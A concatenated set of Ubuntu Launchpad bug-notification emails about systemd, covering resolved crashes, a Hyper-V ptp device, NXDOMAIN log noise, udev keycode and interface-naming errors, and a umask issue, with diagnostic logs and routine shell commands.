Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  systemd-resolved crashes

  [test case]

  see original description; I can't reproduce so I'm relying on the
  reporter(s) to test/verify.

  [regression potential]

  any regression would likely occur while processing sd_event objects,
  which are used throughout systemd code; this could result in crashes
  in almost any part of systemd code. However a more likely regression
  would be leaks of sd_event objects due to failure to release the final
  ref for an object.

  [scope]

  This is needed for f/g/h

  This might be fixed by upstream commit
  f814c871e65df8552a055dd887bc94b074037833; if so, that commit isn't
  included in any systemd release yet, and so is needed in h and
  earlier.

  [other info]

  I believe this is caused by a freed sd_event object that is then
  processed and calls the on_query_timeout callback with invalid state,
  leading to failed assertion, which causes resolved to crash; that's
  what analysis of the crash dump appears to indicate. This may be fixed
  by the upstream commit referenced in [scope], which takes additional
  refs during function calls. However I haven't reproduced this myself,
  so I'm only guessing as to the cause and solution at this point.

  I'm unsure why this would not occur in bionic, but per comment 5 it
  seems it doesn't happen in that release.

  [original description]

  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] systemd-resolve[1654540]: segfault at 19820a05297 
ip 7f6a92839dc9 sp 7ffe4ba00440 error 4 in 
libsystemd-shared-245.so[7f6a92814000+16e000]
  [Sun Nov 29 21:13:10 2020] systemd-resolve[1660272]: segfault at 555f9a5915e0 
ip 555f9a5915e0 sp 7fff053e5e68 error 15
  [Sun Nov 29 21:32:34 2020] systemd-resolve[1661026]: segfault at 

[Touch-packages] [Bug 1917458] Re: ptp0 device under hyperv may not be correct

[Dan Streetman]

*** This bug is a duplicate of bug 1913763 ***
https://bugs.launchpad.net/bugs/1913763

** This bug has been marked a duplicate of bug 1913763
   hyperv: unable to distinguish PTP devices

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1917458

Title:
  ptp0 device under hyperv may not be correct

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  the /dev/ptp0 device for a hyperv instance may not be the correct,
  hyperv-provided, ptp device.

  [test case]

  on some hyperv instance types, particularly those that might contain
  passthrough network card(s) that also provide ptp, the first ptp
  device may not be the correct one to use for ptp, e.g. there may be
  multiple ones:

  $ ls /dev/ptp*
  /dev/ptp0 /dev/ptp1
  $ cat /sys/class/ptp/ptp0/clock_name
  hyperv
  $ cat /sys/class/ptp/ptp1/clock_name
  mlx5_p2p

  the order can change across boots, so a consistent way of addressing
  the hyperv-provided one is needed

  [regression potential]

  any regression would involve failure to properly create the ptp
  symlink, or other failure while udev is processing newly detected ptp
  device(s)

  [scope]

  this is needed in all releases

  this was fixed upstream with the commit
  32e868f058da8b90add00b2958c516241c532b70 which is not yet included in
  any release

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1917458/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917458] [NEW] ptp0 device under hyperv may not be correct

[Dan Streetman]

Public bug reported:

[impact]

the /dev/ptp0 device for a hyperv instance may not be the correct,
hyperv-provided, ptp device.

[test case]

on some hyperv instance types, particularly those that might contain
passthrough network card(s) that also provide ptp, the first ptp device
may not be the correct one to use for ptp, e.g. there may be multiple
ones:

$ ls /dev/ptp*
/dev/ptp0 /dev/ptp1
$ cat /sys/class/ptp/ptp0/clock_name
hyperv
$ cat /sys/class/ptp/ptp1/clock_name
mlx5_p2p

the order can change across boots, so a consistent way of addressing the
hyperv-provided one is needed

[regression potential]

any regression would involve failure to properly create the ptp symlink,
or other failure while udev is processing newly detected ptp device(s)

[scope]

this is needed in all releases

this was fixed upstream with the commit
32e868f058da8b90add00b2958c516241c532b70 which is not yet included in
any release

** Affects: systemd (Ubuntu)
 Importance: Low
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Affects: systemd (Ubuntu Bionic)
 Importance: Low
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Affects: systemd (Ubuntu Focal)
 Importance: Low
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Affects: systemd (Ubuntu Groovy)
 Importance: Low
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Affects: systemd (Ubuntu Hirsute)
 Importance: Low
 Assignee: Dan Streetman (ddstreet)
 Status: In Progress

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Hirsute)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu Hirsute)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Groovy)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Hirsute)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Groovy)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Hirsute)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Groovy)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1917458

Title:
  ptp0 device under hyperv may not be correct

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  the /dev/ptp0 device for a hyperv instance may not be the correct,
  hyperv-provided, ptp device.

  [test case]

  on some hyperv instance types, particularly those that might contain
  passthrough network card(s) that also provide ptp, the first ptp
  device may not be the correct one to use for ptp, e.g. there may be
  multiple ones:

  $ ls /dev/ptp*
  /dev/ptp0 /dev/ptp1
  $ cat /sys/class/ptp/ptp0/clock_name
  hyperv
  $ cat /sys/class/ptp/ptp1/clock_name
  mlx5_p2p

  the order can change across boots, so a consistent way of addressing
  the hyperv-provided one is needed

  [regression potential]

  any regression would involve failure to properly create the ptp
  symlink, or other failure while udev is processing newly detected ptp
  device(s)

  [scope]

  this is needed in all releases

  this was fixed upstream with the commit
  32e868f058da8b90add00b2958c516241c532b70 which is not yet included in
  any release

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1917458/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1880258] Re: Add trailing dot to make connectivity-check.ubuntu.com. absolute and reduce NXDOMAIN warning noise

[Dan Streetman]

** Description changed:

+ [impact]
+ 
+ systemd-resolved emits a disturbingly large amount of NXDOMAIN log
+ messages that do not actually indicate any real problem
+ 
+ [test case]
+ 
+ see original description, or look at any log from any recent Ubuntu
+ system, or search google for endless complaints about NXDOMAIN messages
+ logged by Ubuntu
+ 
+ [regression potential]
+ 
+ any regression would likely be isolated to systemd-resolved handling of
+ a NXDOMAIN response from its upstream nameserver, including possibly
+ failing to resolve a hostname or delays in resolving hostnames
+ 
+ [scope]
+ 
+ this is needed for all releases; the patch is not upstream, but carried
+ by Ubuntu
+ 
+ [original description]
+ 
  I normally don't like this, but it's a one-character change so it's
  easier to start with the solution:
  
  diff -u -r1.1 /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf
- --- /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf  
+ --- /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf
  +++ /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf
  @@ -1,2 +1,2 @@
-  [connectivity]
+  [connectivity]
  -uri=http://connectivity-check.ubuntu.com/
  +uri=http://connectivity-check.ubuntu.com./
  
  Making this name absolute instead of relative avoids spurious
  resolutions of "connectivity-check.ubuntu.com.your_domain." This removes
  a fair amount of NXDOMAIN error noise in journalctl.
  
- 
  Observing the issue and the fix requires 3 terminals:
  
  1. tcpdump -i any 'port domain'
  2. journalctl --boot -u systemd-resolved -f
  
  3. nmcli c down "Wired connection 1"; nmcli c up "Wired connection 1"
-  => observe the NXDOMAIN noise over a couple few minutes
-  
+  => observe the NXDOMAIN noise over a couple few minutes
+ 
  Now make the hostname absolute with the trailing dot above and run:
-systemctl reload NetworkManager
+    systemctl reload NetworkManager
  Wait 1 min for things to stabilize. Test again:
  
  nmcli c down "Wired connection 1"; nmcli c up "Wired connection 1"
-  => observe non-zero but significantly reduced NXDOMAIN noise over a couple 
few minutes
+  => observe non-zero but significantly reduced NXDOMAIN noise over a couple 
few minutes
  
  Originally reported at https://askubuntu.com/a/1242611/117217
  
  Plenty of people annoyed by NXDOMAIN warnings, just Google it.

** Also affects: network-manager (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Groovy)
   Importance: Undecided
   Status: New

** Also affects: network-manager (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: network-manager (Ubuntu Hirsute)
   Importance: Medium
   Status: Fix Released

** Also affects: systemd (Ubuntu Hirsute)
   Importance: Wishlist
   Status: Triaged

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Groovy)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Hirsute)
   Status: Triaged => Fix Committed

** Changed in: systemd (Ubuntu Groovy)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Groovy)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1880258

Title:
  Add trailing dot to make connectivity-check.ubuntu.com. absolute and
  reduce NXDOMAIN warning noise

Status in network-manager package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Committed
Status in network-manager source package in Bionic:
  New
Status in systemd source package in Bionic:
  In Progress
Status in network-manager source package in Focal:
  Confirmed
Status in network-manager source package in Groovy:
  New
Status in systemd source package in Groovy:
  In Progress
Status in network-manager source package in Hirsute:
  Fix Released
Status in systemd source package in Hirsute:
  Fix Committed

Bug description:
  [impact]

  systemd-resolved emits a disturbingly large amount of NXDOMAIN log
  messages that do not actually indicate any real problem

  [test case]

  see original description, or look at any log from any recent Ubuntu
  system, or search google for endless complaints about NXDOMAIN
  messages logged by Ubuntu

  [regression potential]

  any regression would likely be isolated to systemd-resolved handling
  of a NXDOMAIN response from its upstream nameserver, including
  possibly failing to resolve a hostname or delays in resolving
  hostnames

  [scope]

  

[Touch-packages] [Bug 1890186] Re: Failed to call EVIOCSKEYCODE with scan code 0xc022d, and key code 103: Invalid argument

[Dan Streetman]

> As for the zoom in/out, I meant this:

that's typically done by holding "Ctrl" down and using scroll up/down to
zoom.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1890186

Title:
  Failed to call EVIOCSKEYCODE with scan code 0xc022d, and key code 103:
  Invalid argument

Status in linux package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Won't Fix

Bug description:
  I run an up-to-date Ubuntu 20.04.1 LTS "focal" with kernel
  5.4.0-42-generic on Dell Latitude E6440.  Upon examining the output of
  journalctl -b, I see this:

  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Show Plymouth Boot Screen being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Forward Password Requests to Plymouth Directory Watch being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Set Up Additional Binary Formats being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
File System Check on Root Device being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Rebuild Hardware Database being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Platform Persistent Storage Archival being skipped.
  Aug 03 19:22:15 pseudonymizedHostname kernel: [drm] radeon: dpm initialized
  Aug 03 19:22:15 pseudonymizedHostname kernel: [drm] GART: num cpu pages 
524288, num gpu pages 524288
  Aug 03 19:22:15 pseudonymizedHostname kernel: dell_laptop: Using dell-rbtn 
acpi driver for receiving events
  Aug 03 19:22:15 pseudonymizedHostname systemd-udevd[385]: event8: Failed to 
call EVIOCSKEYCODE with scan code 0xc022d, and key code 103: Invalid argument
  Aug 03 19:22:15 pseudonymizedHostname systemd-udevd[385]: event8: Failed to 
call EVIOCSKEYCODE with scan code 0xc022e, and key code 108: Invalid argument

  "Invalid argument" means that something goes wrong there, and I don't know 
what it is.
  On my laptop, event8 seems to be keyboard-related:

  $ sudo cat /proc/bus/input/devices | grep -C 5 event8
  I: Bus=0003 Vendor=045e Product=00db Version=0111
  N: Name="Microsoft Natural® Ergonomic Keyboard 4000"
  P: Phys=usb-:00:14.0-13.1/input0
  S: 
Sysfs=/devices/pci:00/:00:14.0/usb3/3-13/3-13.1/3-13.1:1.0/0003:045E:00DB.0002/input/input9
  U: Uniq=
  H: Handlers=sysrq kbd event8 leds 
  B: PROP=0
  B: EV=120013
  B: KEY=10007 ff8007ff febeffdff3cf fffe
  B: MSC=10
  B: LED=107

  The issue report
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1754921 is
  probably related but marked as a duplicate of a no longer existing
  issue report (#1750855).

  The report
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1597415
  describes a similar issue for older kernels; the differences pertain
  to error message, error code, input..., and, opposed to #19 there, I
  have no Windows partitions (except /boot/efi vfat) in /etc/fstab; mine
  is not a dual-boot machine.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1890186/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1914884] Re: udev tries to assign identical name to multiple network cards

[Dan Streetman]

closing per comment 1

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1914884

Title:
  udev tries to assign identical name to multiple network cards

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  Upon upgrading from U18.04 to U20.04.2, the network interface names became 
unpredictable. They could be *any* of eth0, eth1, eth2 and ens2. Further 
inspection shows error messages like
  "systemd-udevd: eth1: Failed to rename network interface 3 from 'eth1' to 
'ens2': File exists"

  The installation is plain vanilla; in fact, the system had not been
  used at all yet. Neither of the files '/lib/udev/rules.d/75
  -persistent-net-generator.rules', '/etc/udev/rules.d/70-persistent-
  net.rules' or '/lib/udev/rules.d/71-biosdevname.rules' exist.

  On U18.04, 'ls /sys/class/net' yielded "enp5s0 enp14s0 enp9s0 lo".
  After the upgrade, it currently shows "ens2  eth0  eth1  lo".
  For each of these entries, 'udevadm test-builtin net_id $nic 2>/dev/null' 
gives the following:

  /sys/class/net/ens2
  ID_NET_NAMING_SCHEME=v245
  ID_NET_NAME_MAC=enx002481d13e60
  ID_OUI_FROM_DATABASE=Hewlett Packard
  ID_NET_NAME_PATH=enp14s0
  ID_NET_NAME_SLOT=ens2

  /sys/class/net/eth0
  ID_NET_NAMING_SCHEME=v245
  ID_NET_NAME_MAC=enx001018b197dc
  ID_OUI_FROM_DATABASE=Broadcom
  ID_NET_NAME_PATH=enp5s0
  ID_NET_NAME_SLOT=ens2

  /sys/class/net/eth1
  ID_NET_NAMING_SCHEME=v245
  ID_NET_NAME_MAC=enx00101897069a
  ID_OUI_FROM_DATABASE=Broadcom
  ID_NET_NAME_PATH=enp9s0
  ID_NET_NAME_SLOT=ens2

  This seems to be a case where the naming scheme v245 should be replaced by 
v247, according to 
  
https://www.freedesktop.org/software/systemd/man/systemd.net-naming-scheme.html
  The situation does not change with passing "net.naming-scheme=latest" to the 
kernel.
  The installed version of udev is 245.4-4ubuntu3.4.

  Since this faulty behavior happened completely out of the blue on a
  practically pristine LTS installation, I hope to have some kind of
  solution similar to a backport. Thanks for comments!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1914884/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1685754] Re: 'systemd --user' unduly forces umask=0022

[Dan Streetman]

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Bionic)
   Status: Confirmed => In Progress

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  'systemd --user' unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  Invalid
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Invalid
Status in systemd:
  Unknown
Status in dbus package in Ubuntu:
  Invalid
Status in gnome-terminal package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in dbus source package in Bionic:
  Invalid
Status in gnome-terminal source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  In Progress

Bug description:
  [impact]

  pam_umask, from /etc/passwd, is not honored in systemd --user
  instances

  [test case]

  on a desktop system, edit /etc/passwd to change the test user entry
  (e.g. the 'ubuntu' user) to include 'umask=007' in the GECOS field
  (5th field). For example change:

  ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

  to:

  ubuntu:x:1000:1000:Ubuntu,umask=007:/home/ubuntu:/bin/bash

  You may need to reboot for your X session to pick up the change.

  Then, from the graphical desktop, open a terminal and run:

  $ gnome-terminal -e sh

  in the opened terminal, run:

  $ umask

  the number shown should be 0007, as set in the passwd file

  [regression potential]

  any regression would likely result in an incorrect umask for the user
  whose passwd entry is modified.

  [scope]

  this is needed only for b

  this is fixed in systemd upstream by commit
  5e37d1930b41b24c077ce37c6db0e36c745106c7 which was first included in
  v246, so this is fixed in g and later. This commit was also picked up
  by Debian and included in the v245 release for focal, so this is fixed
  in focal already.

  [original description]

  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  umask.

  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask',
  it systematically displays 0007.

  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask',
  it systematically displays 0022.

  That is BAD, and is a security issue.

  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
    umask  "${UMASK#$USER:*,umask=}"
  fi

  In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask
  unchanged.

  Thank you in advance for a quick correction.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gedit/+bug/1685754/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1685754] Re: 'systemd --user' unduly forces umask=0022

[Dan Streetman]

** Description changed:

+ [impact]
+ 
+ pam_umask, from /etc/passwd, is not honored in systemd --user instances
+ 
+ [test case]
+ 
+ on a desktop system, edit /etc/passwd to change the test user entry
+ (e.g. the 'ubuntu' user) to include 'umask=007' in the GECOS field (5th
+ field). For example change:
+ 
+ ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+ 
+ to:
+ 
+ ubuntu:x:1000:1000:Ubuntu,umask=007:/home/ubuntu:/bin/bash
+ 
+ You may need to reboot for your X session to pick up the change.
+ 
+ Then, from the graphical desktop, open a terminal and run:
+ 
+ $ gnome-terminal -e sh
+ 
+ in the opened terminal, run:
+ 
+ $ umask
+ 
+ the number shown should be 0007, as set in the passwd file
+ 
+ [regression potential]
+ 
+ any regression would likely result in an incorrect umask for the user
+ whose passwd entry is modified.
+ 
+ [scope]
+ 
+ this is needed only for b
+ 
+ this is fixed in systemd upstream by commit
+ 5e37d1930b41b24c077ce37c6db0e36c745106c7 which was first included in
+ v246, so this is fixed in g and later. This commit was also picked up by
+ Debian and included in the v245 release for focal, so this is fixed in
+ focal already.
+ 
+ [original description]
+ 
  In order to set the default umask of my users to 027 or 007, I followed
  the instructions provided in 'man pam_umask' :
  
  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).
  
  Then, MOST graphical applications systematically run with the correct
  umask.
  
  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask', it
  systematically displays 0007.
  
  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask', it
  systematically displays 0022.
  
  That is BAD, and is a security issue.
  
- 
  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
-   umask  "${UMASK#$USER:*,umask=}"
+   umask  "${UMASK#$USER:*,umask=}"
  fi
  
- 
- In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask unchanged.
+ In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask
+ unchanged.
  
  Thank you in advance for a quick correction.
  
  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  'systemd --user' unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  Invalid
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Invalid
Status in systemd:
  Unknown
Status in dbus package in Ubuntu:
  Invalid
Status in gnome-terminal package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in dbus source package in Bionic:
  Invalid
Status in gnome-terminal source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Confirmed

Bug description:
  [impact]

  pam_umask, from /etc/passwd, is not honored in systemd --user
  instances

  [test case]

  on a desktop system, edit /etc/passwd to change the test user entry
  (e.g. the 'ubuntu' user) to include 'umask=007' in the GECOS field
  (5th field). For example change:

  ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

  to:

  ubuntu:x:1000:1000:Ubuntu,umask=007:/home/ubuntu:/bin/bash

  You may need to reboot for your X session to pick up the change.

  Then, from the graphical desktop, open a terminal and run:

  $ gnome-terminal -e sh

  in the opened terminal, run:

  $ umask

  the number shown should be 0007, as set in the passwd file

  [regression potential]

  any regression would likely result in an incorrect umask for the user
  whose passwd entry is modified.

  [scope]

  this is needed only for b

  this is fixed in systemd upstream by commit
  5e37d1930b41b24c077ce37c6db0e36c745106c7 which was first included in
  v246, so this is fixed in g and later. This commit was also picked up
  by Debian and included in the v245 release for focal, so this is fixed
  in focal already.

  [original description]

  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  

[Touch-packages] [Bug 1685754] Re: 'systemd --user' unduly forces umask=0022

[Dan Streetman]

> REGRESSION: With systemd 246.6-1ubuntu1 from Ubuntu 20.10 Beta (Groovy
Gorilla), the issue had reappeared

I just tested with groovy and can't reproduce the issue; umask is
correct under gnome-terminal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  'systemd --user' unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  Invalid
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Invalid
Status in systemd:
  Unknown
Status in dbus package in Ubuntu:
  Invalid
Status in gnome-terminal package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in dbus source package in Bionic:
  Invalid
Status in gnome-terminal source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Confirmed

Bug description:
